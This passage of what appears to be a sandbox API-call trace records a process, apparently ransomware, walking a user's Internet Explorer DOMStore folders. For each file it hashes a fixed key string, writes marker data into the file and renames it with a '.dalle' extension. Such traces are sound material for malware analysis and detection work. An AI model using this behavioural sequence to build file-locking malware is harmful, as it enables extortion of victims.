SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.693] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd, lpOverlapped=0x0) returned 1 [0122.694] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.694] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.694] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.694] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0e30) returned 1 [0122.695] CryptCreateHash (in: hProv=0x6c0e30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.695] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.695] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.695] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.695] GetLastError () returned 0x0 [0122.695] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.695] CryptReleaseContext (hProv=0x6c0e30, dwFlags=0x0) returned 1 [0122.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.695] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0122.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0122.695] WriteFile (in: hFile=0x618, lpBuffer=0x388fb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x388fb34*, lpNumberOfBytesWritten=0x388fb24*=0x8, lpOverlapped=0x0) returned 1 [0122.696] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0122.696] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0122.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0122.696] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.696] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.696] CloseHandle (hObject=0x618) returned 1 [0122.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe0) returned 0x3019118 [0122.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8f0) returned 0x3093b88 [0122.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019118 | out: hHeap=0x5e0000) returned 1 [0122.696] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.dalle")) returned 1 [0122.698] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0122.698] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.698] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6e48 [0122.698] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e748 [0122.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0122.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0122.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.699] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.699] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.699] PathFindFileNameW (pszPath="") returned="" [0122.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.699] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.700] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.700] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.700] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.700] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6e48 [0122.700] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e748 [0122.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0122.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0122.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.701] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.701] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.701] PathFindFileNameW (pszPath="") returned="" [0122.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.701] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.701] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0122.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11e) returned 0x2f84e20 [0122.701] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0122.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.702] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=836) returned 1 [0122.702] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.704] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.704] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.706] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0122.706] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x344, lpOverlapped=0x0) returned 1 [0122.706] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.706] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0122.706] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.706] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.706] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0e30) returned 1 [0122.707] CryptCreateHash (in: hProv=0x6c0e30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.707] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.707] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.707] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0122.707] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.707] GetLastError () returned 0x0 [0122.707] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.707] CryptReleaseContext (hProv=0x6c0e30, dwFlags=0x0) returned 1 [0122.707] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.707] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.707] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0122.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0122.707] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0122.707] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.707] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.708] CloseHandle (hObject=0x618) returned 1 [0122.708] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe0) returned 0x3019118 [0122.708] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8f0) returned 0x3093b88 [0122.708] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019118 | out: hHeap=0x5e0000) returned 1 [0122.708] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.dalle")) returned 1 [0122.709] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.709] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f84e20 | out: hHeap=0x5e0000) returned 1 [0122.710] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0122.710] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6e48 | out: hHeap=0x5e0000) returned 1 [0122.710] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0122.710] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.710] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.710] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: 